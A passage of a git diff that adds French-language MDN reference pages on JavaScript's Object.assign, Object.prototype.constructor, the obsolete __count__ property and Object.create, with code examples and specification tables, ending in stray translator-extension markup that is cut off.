+<p>La méthode <code>Object.assign</code> permet de ne copier que les propriétés énumérables et propres (les propriétés qui ne sont pas héritées) depuis un objet source vers un objet cible. Elle utilise <code>[[Get]]</code> sur l'objet source et <code>[[Set]]</code> sur l'objet cible, ainsi, elle déclenchera les accesseurs/mutateurs. De cette façon, elle <em>affecte</em> les propriétés plutôt que de juste les copier ou d'en définir de nouvelles. Aussi, il est déconseillé d'utiliser cette méthode si on souhaite uniquement fusionner de nouvelles propriétés dans un prototype si un des objets sources contient des accesseurs. Pour uniquement copier les définitions des propriétés (y compris leur énumérabilité) dans des prototypes, on utilisera plutôt {{jsxref("Object.getOwnPropertyDescriptor()")}} et {{jsxref("Object.defineProperty()")}}.</p>
+
+<p>Les propriétés {{jsxref("String")}} et {{jsxref("Symbol")}} sont copiées. Les propriétés de l'objet cible sont surchargées par celles de l'objet source si elles ont la même clé.</p>
+
+<p>En cas d'erreur, si une propriété n'est pas accessible en écriture par exemple, une exception {{jsxref("TypeError")}} sera levée mais l'objet cible aura été modifié avec les propriétés ajoutées avant l'erreur.</p>
+
+<p><code>Object.assign</code> ne donnera pas d'erreur si on fournit les valeurs {{jsxref("null")}} ou {{jsxref("undefined")}} pour la valeur source.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Cloner_un_objet">Cloner un objet</h3>
+
+<pre class="brush: js">var obj = { a: 1 };
+var copie = Object.assign({}, obj);
+console.log(copie); // {a: 1}</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Attention, pour un clone réel (<em>deep clone</em>), il faudra utiliser d'autres méthodes car <code>Object.assign()</code> ne copie que les valeurs des propriétés depuis l'objet source, il ne recopie pas intégralement une nouvelle propriété. Si la valeur est une référence à un objet, il copiera uniquement la référence.</p>
+</div>
+
+<h3 id="Fusionner_des_objets">Fusionner des objets</h3>
+
+<pre class="brush: js">var o1 = { a: 1 };
+var o2 = { b: 2 };
+var o3 = { c: 3 };
+
+var obj = Object.assign(o1, o2, o3);
+console.log(obj); // { a: 1, b: 2, c: 3 }
+console.log(o1);  // { a: 1, b: 2, c: 3 }, l'objet cible est aussi modifié
+</pre>
+
+<h3 id="Fusionner_des_objets_partageant_des_propriétés">Fusionner des objets partageant des propriétés</h3>
+
+<pre class="brush: js">var o1 = { a: 1, b: 1, c: 1 };
+var o2 = { b: 2, c: 2 };
+var o3 = { c: 3 };
+
+var obj = Object.assign({}, o1, o2, o3);
+console.log(obj); // { a: 1, b: 2, c: 3 }
+</pre>
+
+<p>Les propriétés communes sont surchargées selon l'ordre des paramètres.</p>
+
+<h3 id="Copier_des_propriétés_symboliques">Copier des propriétés symboliques</h3>
+
+<pre class="brush: js">var o1 = { a: 1 };
+var o2 = { [Symbol('toto')]: 2 };
+
+var obj = Object.assign({}, o1, o2);
+console.log(obj); // { a: 1, [Symbol("toto")]: 2 }
+// Attention : dans Firefox le symbole n'est pas affiché
+// en raison du bug 1207182
+console.log(Object.getOwnPropertySymbols(obj)); // [Symbol(toto)]
+</pre>
+
+<h3 id="Les_propriétés_héritées_et_les_propriétés_non-énumérables_ne_peuvent_être_copiées">Les propriétés héritées et les propriétés non-énumérables ne peuvent être copiées</h3>
+
+<pre class="brush: js">var obj = Object.create({ toto: 1 }, { // toto est héritée
+  truc: {
+    value: 2  // truc est non-enumerable (par défaut)
+  },
+  bidule: {
+    value: 3,
+    enumerable: true  // bidule est une propriété propre et énumérable
+  }
+});
+
+var copie = Object.assign({}, obj);
+console.log(copie); // { bidule: 3 }
+</pre>
+
+<h3 id="Les_types_primitifs_seront_passés_en_objets">Les types primitifs seront passés en objets</h3>
+
+<pre class="brush: js">var v1 = 'abc';
+var v2 = true;
+var v3 = 10;
+var v4 = Symbol('toto')
+
+var obj = Object.assign({}, v1, null, v2, undefined, v3, v4);
+// Les valeurs primitives seront converties, null et undefined seront ignorés.
+// Note : seules les chaînes peuvent avoir des propriétés énumérables.
+console.log(obj); // { "0": "a", "1": "b", "2": "c" }
+</pre>
+
+<h3 id="Les_exceptions_interrompent_la_copie">Les exceptions interrompent la copie</h3>
+
+<pre class="brush: js">var target = Object.defineProperty({}, 'toto', {
+  value: 1,
+  writable: false
+}); // target.toto est en lecture seule
+
+Object.assign(target, { truc: 2 }, { toto2: 3, toto: 3, toto3: 3 }, { bidule: 4 });
+// TypeError: "toto" est en lecture seule
+// L'exception est levée lorsqu'on affecte target.toto
+
+console.log(target.truc);  // 2, le premier objet source est bien copié
+console.log(target.toto2); // 3, la première propriété du deuxième objet source est bien copiée
+console.log(target.toto);  // 1, on a une exception ici
+console.log(target.toto3); // undefined, assign est terminé toto3 ne sera pas copié
+console.log(target.bidule);// undefined, le troisième objet source ne sera pas copié non plus.
+</pre>
+
+<h3 id="Copier_des_accesseurs">Copier des accesseurs</h3>
+
+<pre class="brush: js">var obj = {
+  toto: 1,
+  get truc() {
+    return 2;
+  }
+};
+
+var copie = Object.assign({}, obj);
+console.log(copie);
+// { toto: 1, truc: 2 }, la valeur de copie.truc
+// est la valeur renvoyée par l'accesseur d'obj.truc.
+
+// Voici une fonction qui copie les descripteurs
+// dans leur intégralité
+function completeAssign(target, ...sources) {
+  sources.forEach(source =&gt; {
+    let descriptors = Object.keys(source).reduce((descriptors, key) =&gt; {
+      descriptors[key] = Object.getOwnPropertyDescriptor(source, key);
+      return descriptors;
+    }, {});
+    // Par défaut, Object.assign copie également
+    // les symboles énumérables
+    Object.getOwnPropertySymbols(source).forEach(sym =&gt; {
+      let descriptor = Object.getOwnPropertyDescriptor(source, sym);
+      if (descriptor.enumerable) {
+        descriptors[sym] = descriptor;
+      }
+    });
+    Object.defineProperties(target, descriptors);
+  });
+  return target;
+}
+
+var copie = completeAssign({}, obj);
+console.log(copie);
+// { toto:1, get truc() { return 2 } }</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-object.assign', 'Object.assign')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.assign', 'Object.assign')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.assign")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperties()")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Caractère_énumérable_des_propriétés_et_rattachement">Le caractère énumérable des propriétés</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Syntaxe_décomposition#Utiliser_la_décomposition_avec_les_littéraux_objet">La décomposition des littéraux objets</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/constructor/index.html b/files/fr/web/javascript/reference/objets_globaux/object/constructor/index.html
new file mode 100644
index 0000000000..4630ec0f1e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/constructor/index.html
@@ -0,0 +1,233 @@
+---
+title: Object.prototype.constructor
+slug: Web/JavaScript/Reference/Objets_globaux/Object/constructor
+tags:
+  - JavaScript
+  - Object
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/constructor
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>constructor</strong></code> renvoie une référence à la fonction {{jsxref("Object")}} qui a créé le prototype de l'instance. La valeur de cette propriété est une référence à la fonction elle-même, ce n'est pas une chaîne de caractères représentant le nom de la fonction. Cette valeur est en lecture seule pour les valeurs de types primitifs comme <code>1</code>, <code>true</code> et <code>"test"</code>.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Tous les objets héritent d'une propriété <code>constructor</code> de leur prototype (à l'exception de ceux créés avec <code>Object.create(null)</code>). Les objets créés sans constructeur (c'est-à-dire avec des littéraux) auront le constructeur correspondant au type du littéral :</p>
+
+<pre class="brush:js">var o = {};
+o.constructor === Object; // true
+
+var a = [];
+a.constructor === Array; // true
+
+var n = new Number(3)
+n.constructor === Number; // true</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Afficher_le_constructeur_d'un_objet">Afficher le constructeur d'un objet</h3>
+
+<p>L'exemple ci-dessous crée un constructeur <code>Arbre</code>, et un objet de ce type, <code>monArbre</code>. Le script affiche ensuite la propriété <code>constructor</code> de l'objet <code>monArbre</code> :</p>
+
+<pre class="brush:js">function Arbre(nom) {
+   this.nom = nom;
+}
+
+var monArbre = new Arbre("Sequoia");
+console.log( "monArbre.constructor vaut " + monArbre.constructor );</pre>
+
+<p>Cet exemple produira le résultat suivant :</p>
+
+<pre class="brush:js">monArbre.constructor vaut function Arbre(nom) {
+    this.nom = nom;
+}</pre>
+
+<h3 id="Modifier_le_constructeur_d'un_objet">Modifier le constructeur d'un objet</h3>
+
+<p>Dans l'exemple suivant, on illustre comment modifier la valeur d'un constructeur pour les objets génériques. Dans l'exemple suivant, seules les valeurs <code>true</code>, <code>1</code> et <code>"test"</code> ne seront pas affectées car leurs constructeurs sont en lecture seule uniquement. Cet exemple montre qu'il ne faut pas se reposer de façon aveugle sur la propriété <code>constructor</code> d'un objet.</p>
+
+<pre class="brush:js">function Type () {}
+
+var types = [
+  new Array(),
+  [],
+  new Boolean(),
+  true,             // restera tel quel
+  new Date(),
+  new Error(),
+  new Function(),
+  function () {},
+  Math,
+  new Number(),
+  1,                // restera tel quel
+  new Object(),
+  {},
+  new RegExp(),
+  /(?:)/,
+  new String(),
+  'test'            // restera tel quel
+];
+
+for (var i = 0; i &lt; types.length; i++) {
+  types[i].constructor = Type;
+  types[i] = [types[i].constructor, types[i] instanceof Type, types[i].toString()];
+}
+
+console.log(types.join('\n'));
+</pre>
+
+<p>L'exemple produira le résultat suivant :</p>
+
+<pre class="brush: js">function Type() {},false,
+function Type() {},false,
+function Type() {},false,false
+function Boolean() {
+    [native code]
+},false,true
+function Type() {},false,Mon Sep 01 2014 16:03:49 GMT+0600
+function Type() {},false,Error
+function Type() {},false,function anonymous() {
+
+}
+function Type() {},false,function () {}
+function Type() {},false,[object Math]
+function Type() {},false,0
+function Number() {
+    [native code]
+},false,1
+function Type() {},false,[object Object]
+function Type() {},false,[object Object]
+function Type() {},false,/(?:)/
+function Type() {},false,/(?:)/
+function Type() {},false,
+function String() {
+    [native code]
+},false,test
+</pre>
+
+<h3 id="Modifier_le_constructeur_d'une_fonction">Modifier le constructeur d'une fonction</h3>
+
+<p>La plupart du temps, cette  propriété est utilisée afin de définir une fonction en tant que constructeur, c'est-à-dire qu'on l'appellera avec <code><strong>new</strong></code> et en « attachant » la chaîne de prototypes.</p>
+
+<pre class="brush: js">function Parent() {}
+Parent.prototype.parentMethod = function parentMethod() {};
+
+function Child() {}
+// on redefinit le prototype de child afin qu'il pointe vers celui de Parent
+Child.prototype = Object.create(Parent.prototype);
+
+Child.prototype.constructor = Child; // on renvoie le constructeur original Child</pre>
+
+<p>Pourquoi faut-il écrire cette dernière ligne ? Eh bien, ça dépend.</p>
+
+<p>Essayons de définir les cas où il est nécessaire de réaffecter le constructeur original et les cas où c'est superflu.</p>
+
+<p>Imaginons que l'objet possède une méthode <code>create()</code> qui lui permette de créer un autre exemplaire :</p>
+
+<pre class="brush: js">function Parent() {};
+function CreatedConstructor() {}
+
+CreatedConstructor.prototype = Object.create(Parent.prototype);
+
+CreatedConstructor.prototype.create = function create() {
+  return new this.constructor();
+}
+
+new CreatedConstructor().create().create();
+// error undefined is not a function car constructor === Parent</pre>
+
+<p>Dans l'exemple précédent, on a une exception car le constructeur pointe vers <code>Parent</code>.</p>
+
+<p>Pour éviter cet écueil, il suffit d'affecter le bon constructeur (celui qui sera utilisé ensuite) :</p>
+
+<pre class="brush: js">function Parent() {};
+function CreatedConstructor() {}
+
+CreatedConstructor.prototype = Object.create(Parent.prototype);
+// On réaffecte le bon constructeur afin de l'utiliser plus loin
+CreatedConstructor.prototype.constructor = CreatedConstructor;
+
+CreatedConstructor.prototype.create = function create() {
+  return new this.constructor();
+}
+
+new CreatedConstructor().create().create();
+// pas d'exception cette fois-ci</pre>
+
+<p>Prenons un autre exemple :</p>
+
+<pre class="brush: js">function ParentWithStatic() {}
+
+ParentWithStatic.startPosition = { x: 0, y:0 };
+ParentWithStatic.getStartPosition = function getStartPosition() {
+  return this.startPosition;
+}
+
+function Child(x, y) {
+  this.position = {
+    x: x,
+    y: y
+  };
+}
+
+Child.prototype = Object.create(ParentWithStatic.prototype);
+Child.prototype.constructor = Child;
+
+Child.prototype.getOffsetByInitialPosition = function getOffsetByInitialPosition() {
+  var position = this.position;
+  var startPosition = this.constructor.getStartPosition(); // error undefined is not a function, since the constructor is Child
+
+  return {
+    offsetX: startPosition.x - position.x,
+    offsetY: startPosition.y - position.y
+  }
+};</pre>
+
+<p>Ici, il faudra conserverr le constructeur parent si on veut que le code fonctionne correctement.</p>
+
+<p>En résumé, lorsqu'on paramètre manuellement le constructeur, on peut obtenir des résultats sources de confusion. La plupart du temps, la propriété <code>constructor</code> n'est pas utilisée et la réaffecter n'est pas nécessaire.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.1', 'Object.prototype.constructor')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.constructor', 'Object.prototype.constructor')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.constructor', 'Object.prototype.constructor')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.constructor")}}</p>
+</div>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/count/index.html b/files/fr/web/javascript/reference/objets_globaux/object/count/index.html
new file mode 100644
index 0000000000..03dfa86bde
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/count/index.html
@@ -0,0 +1,42 @@
+---
+title: Object.prototype.__count__
+slug: Web/JavaScript/Reference/Objets_globaux/Object/count
+tags:
+  - JavaScript
+  - Object
+  - Obsolete
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Archive/Web/JavaScript/Object.count
+---
+<div>{{JSRef}}{{Non-standard_Header}}{{obsolete_header("gecko2")}}</div>
+
+<p>La propriété <strong><code>__count__</code></strong> était utilisée pour compter les propriétés énumérables d'un objet mais a été retiréee.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>obj</var>.__count__</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">{ 1: 1 }.__count__              // 1
+[].__count__                    // 0
+[1].__count__                   // 1
+[1, /* trou */, 2, 3].__count__ // 3</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété n'appartient à aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.count")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="http://whereswalden.com/2010/04/06/more-changes-coming-to-spidermonkey-the-magical-__count__-property-of-objects-is-being-removed/">[Billet de blog] More changes coming to SpiderMonkey: the magical __count__ property is being removed</a> (en anglais)</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/create/index.html b/files/fr/web/javascript/reference/objets_globaux/object/create/index.html
new file mode 100644
index 0000000000..67a36a268a
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/create/index.html
@@ -0,0 +1,304 @@
+---
+title: Object.create()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/create
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - Méthode
+  - Object
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/create
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Object.create()</strong></code> crée un nouvel objet avec un prototype donné et des propriétés données.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-create.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.create(<var>proto</var>)
+Object.create(proto, <em>objetP</em><var>ropriétés</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>proto</code></dt>
+ <dd>L'objet qui sera le prototype du nouvel objet créé.</dd>
+ <dt><code>objetPropriétés</code></dt>
+ <dd>Paramètre optionnel. S'il est fourni et qu'il ne vaut pas {{jsxref("undefined")}}, il sera utilisé comme un objet dont les propriétés propres (celles qui ne sont pas héritées par la chaîne de prototypes) et énumérables définiront des descripteurs pour les propriétés à ajouter au nouvel objet, avec les mêmes noms. Ces propriétés correspondent au deuxième argument de {{jsxref("Object.defineProperties()")}}.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet qui dispose du prototype et des propriétés indiquées.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode lève une exception {{jsxref("TypeError")}} si le paramètre <code>objetPropriétés</code> vaut {{jsxref("null")}} ou s'il ne décrit pas des propriétés d'un objet.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="L'héritage_classique_avec_Object.create()">L'héritage classique avec <code>Object.create()</code></h3>
+
+<p>Dans l'exemple ci-dessous, on utilise <code>Object.create()</code> afin de réaliser un héritage de classe. Ce modèle ne supporte que l'héritage unique (un objet hérite directement uniquement d'un autre objet) car JavaScript ne gère pas l'héritage multiple.</p>
+
+<pre class="brush: js">// Forme, la classe parente
+function Forme() {
+  this.x = 0;
+  this.y = 0;
+}
+
+// Méthode de la classe parente
+Forme.prototype.déplacer = function(x, y) {
+  this.x += x;
+  this.y += y;
+  console.info('Forme déplacée.');
+};
+
+// Rectangle - classe fille
+function Rectangle() {
+  // on appelle le constructeur parent
+  Forme.call(this);
+}
+
+// La classe fille surcharge la classe parente
+Rectangle.prototype = Object.create(Forme.prototype);
+
+// Si on ne définit pas le constructeur avec Rectangle, il récupèrera le constructeur
+// Forme (le parent).
+Rectangle.prototype.constructor = Rectangle;
+
+var rect = new Rectangle();
+
+console.log('instance de Rectangle ? ', (rect instanceof Rectangle));
+// true
+console.log('une instance de Forme ? ', (rect instanceof Forme));
+ // true
+rect.déplacer(1, 1);
+// Affiche 'Forme déplacée.'
+</pre>
+
+<p>Si on souhaite hériter de plusieurs objets, on peut utiliser des <em>mixins</em>.</p>
+
+<pre class="brush: js">function MaClasse() {
+  ClasseParente1.call(this);
+  ClasseParente2.call(this);
+}
+
+MaClasse.prototype = Object.create(ClasseParente1.prototype); // héritage d'une classe
+Object.assign(MaClasse.prototype, ClasseParente2.prototype); // mixin pour une autre
+MaClasse.prototype.constructor = MaClasse; // On réaffecte le constructeur
+
+MaClasse.prototype.maMéthode = function() {
+  // faire quelque chose
+};
+</pre>
+
+<p>Ici, la méthode {{jsxref("Object.assign()")}} copie les propriétés du prototype de la classe parente (<code>ClassParente2</code>) sur le prototype de la classe fille (<code>MaClasse</code>), les rendant disponibles pour toutes les instances de <code>MaClasse</code>. <code>Object.assign()</code> a été introduit avec ES2015 et <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/assign#Prothèse_d'émulation_(polyfill)">une prothèse d'émulation (polyfill)</a> est disponible. Si le support des navigateurs plus anciens est nécessaire, les méthodes <code><a href="https://api.jquery.com/jQuery.extend/">jQuery.extend()</a></code> ou <code><a href="https://lodash.com/docs/#assign">_.assign()</a></code> (Lodash) peuvent être utilisées.</p>
+
+<h3 id="Utiliser_l'argument_objetPropriétés_avec_Object.create()">Utiliser l'argument <code>objetPropriétés</code> avec <code>Object.create()</code></h3>
+
+<pre class="brush: js">var o;
+
+// on crée un objet avec null
+// comme prototype
+o = Object.create(null);
+
+
+o = {};
+// est équivalent à :
+o = Object.create(Object.prototype);
+
+
+// Exemple où on crée un objet avec quelques propriétés
+// (On voit ici que le second paramètres fait correspondre les clés
+// avec des descripteurs de propriétés.)
+o = Object.create(Object.prototype, {
+  // toto est une propriété de donnée
+  toto: { writable: true, configurable: true, value: 'hello' },
+  // truc est une propriété d'accesseur/mutateur
+  truc: {
+    configurable: false,
+    get: function() { return 10; },
+    set: function(value) { console.log('Définir `o.truc` à', value); }
+/* avec les accesseurs ES2015 on aura :
+    get() { return 10; },
+    set(value) { console.log('Définir `o.truc` à', value); } */
+  }
+});
+
+
+function Constructeur() {}
+o = new Constructeur();
+// est équivalent à :
+o = Object.create(Constructeur.prototype);
+// Bien entendu, si la fonction Constructeur
+// possède des instructions pour l'initialisation,
+// Object.create() ne pourra pas le reproduire
+
+
+// on crée un nouvel objet dont le prototype est
+// un nouvel objet vide et on y ajoute une propriété
+// 'p' qui vaut 42
+o = Object.create({}, { p: { value: 42 } });
+
+// par défaut, les propriétés ne sont PAS
+// écrivables, énumérables ou configurables
+o.p = 24;
+o.p;
+// 42
+
+o.q = 12;
+for (var prop in o) {
+  console.log(prop);
+}
+// 'q'
+
+delete o.p;
+// false
+
+// Pour définir une propriété selon ES3
+o2 = Object.create({}, {
+  p: {
+    value: 42,
+    writable: true,
+    enumerable: true,
+    configurable: true
+  }
+});
+
+// Équivalent à
+// o2 = Object.create({p: 42});
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.5', 'Object.create')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-object.create', 'Object.create')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.create', 'Object.create')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.create")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineProperties()")}}</li>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>Le billet de John Resig sur <code><a href="https://ejohn.org/blog/objectgetprototypeof/">getPrototypeOf()</a></code> (en anglais)</li>
+</ul>
+
+<div id="SLO_balloon_obj" style="display: block;">
+<div class="SLO_ImTranslatorLogo" id="SLO_button" style="display: none; opacity: 1;"></div>
+
+<div id="SLO_shadow_translation_result2" style="display: none;"></div>
+
+<div id="SLO_shadow_translator" style="display: none; left: 63px; top: 0px; box-shadow: rgb(186, 185, 181) 0px 0px 0px;">
+<div id="SLO_planshet">
+<div id="SLO_arrow_up"></div>
+
+<div id="SLO_Bproviders">
+<div class="SLO_BL_LABLE_ON" id="SLO_P0" title="Google">G</div>
+
+<div class="SLO_BL_LABLE_ON" id="SLO_P1" title="Microsoft">M</div>
+
+<div class="SLO_BL_LABLE_ON" id="SLO_P2" title="Translator">T</div>
+</div>
+
+<div id="SLO_alert_bbl" style="display: none;">
+<div id="SLHKclose"></div>
+
+<div id="SLO_alert_cont"></div>
+</div>
+
+<div id="SLO_TB">
+<table id="SLO_tables">
+ <tbody>
+  <tr>
+   <td class="SLO_td"><input></td>
+   <td class="SLO_td"><select><option value="auto">Détecter la langue</option><option value="af">Afrikaans</option><option value="sq">Albanais</option><option value="de">Allemand</option><option value="am">Amharique</option><option value="en">Anglais</option><option value="ar">Arabe</option><option value="hy">Arménien</option><option value="az">Azéri</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Biélorusse</option><option value="my">Birman</option><option value="bs">Bosniaque</option><option value="bg">Bulgare</option><option value="ca">Catalan</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinois Simp</option><option value="zh-TW">Chinois Trad</option><option value="si">Cingalais</option><option value="ko">Coréen</option><option value="co">Corse</option><option value="ht">Créole haïtien</option><option value="hr">Croate</option><option value="da">Danois</option><option value="es">Espagnol</option><option value="eo">Espéranto</option><option value="et">Estonien</option><option value="fi">Finnois</option><option value="fr">Français</option><option value="fy">Frison</option><option value="gd">Gaélique Écosse</option><option value="gl">Galicien</option><option value="cy">Gallois</option><option value="ka">Géorgien</option><option value="el">Grec</option><option value="gu">Gudjarati</option><option value="ha">Haoussa</option><option value="haw">Hawaïen</option><option value="iw">Hébreu</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="hu">Hongrois</option><option value="ig">Igbo</option><option value="id">Indonésien</option><option value="ga">Irlandais</option><option value="is">Islandais</option><option value="it">Italien</option><option value="ja">Japonais</option><option value="jw">Javanais</option><option value="kn">Kannada</option><option value="kk">Kazakh</option><option value="km">Khmer</option><option value="ky">Kirghiz</option><option value="ku">Kurde</option><option value="lo">Laotien</option><option value="la">Latin</option><option value="lv">Letton</option><option value="lt">Lituanien</option><option value="lb">Luxembourgeois</option><option value="mk">Macédonien</option><option value="ms">Malaisien</option><option value="ml">Malayalam</option><option value="mg">Malgache</option><option value="mt">Maltais</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="nl">Néerlandais</option><option value="ne">Népalais</option><option value="no">Norvégien</option><option value="uz">Ouzbek</option><option value="ps">Pachtô</option><option value="pa">Panjabi</option><option value="fa">Persan</option><option value="pl">Polonais</option><option value="pt">Portugais</option><option value="ro">Roumain</option><option value="ru">Russe</option><option value="sm">Samoan</option><option value="sr">Serbe</option><option value="st">Sesotho</option><option value="sn">Shona</option><option value="sd">Sindhî</option><option value="sk">Slovaque</option><option value="sl">Slovène</option><option value="so">Somali</option><option value="su">Soudanais</option><option value="sv">Suédois</option><option value="sw">Swahili</option><option value="tg">Tadjik</option><option value="tl">Tagalog</option><option value="ta">Tamoul</option><option value="cs">Tchèque</option><option value="te">Telugu</option><option value="th">Thaï</option><option value="tr">Turc</option><option value="uk">Ukrainien</option><option value="ur">Urdu</option><option value="vi">Vietnamien</option><option value="xh">Xhosa</option><option value="yi">Yiddish</option><option value="yo">Yorouba</option><option value="zu">Zoulou</option></select></td>
+   <td class="SLO_td">
+    <div id="SLO_switch_b" title="Inverser les langues"></div>
+   </td>
+   <td class="SLO_td"><select><option value="af">Afrikaans</option><option value="sq">Albanais</option><option value="de">Allemand</option><option value="am">Amharique</option><option value="en">Anglais</option><option value="ar">Arabe</option><option value="hy">Arménien</option><option value="az">Azéri</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Biélorusse</option><option value="my">Birman</option><option value="bs">Bosniaque</option><option value="bg">Bulgare</option><option value="ca">Catalan</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinois Simp</option><option value="zh-TW">Chinois Trad</option><option value="si">Cingalais</option><option value="ko">Coréen</option><option value="co">Corse</option><option value="ht">Créole haïtien</option><option value="hr">Croate</option><option value="da">Danois</option><option selected value="es">Espagnol</option><option value="eo">Espéranto</option><option value="et">Estonien</option><option value="fi">Finnois</option><option value="fr">Français</option><option value="fy">Frison</option><option value="gd">Gaélique Écosse</option><option 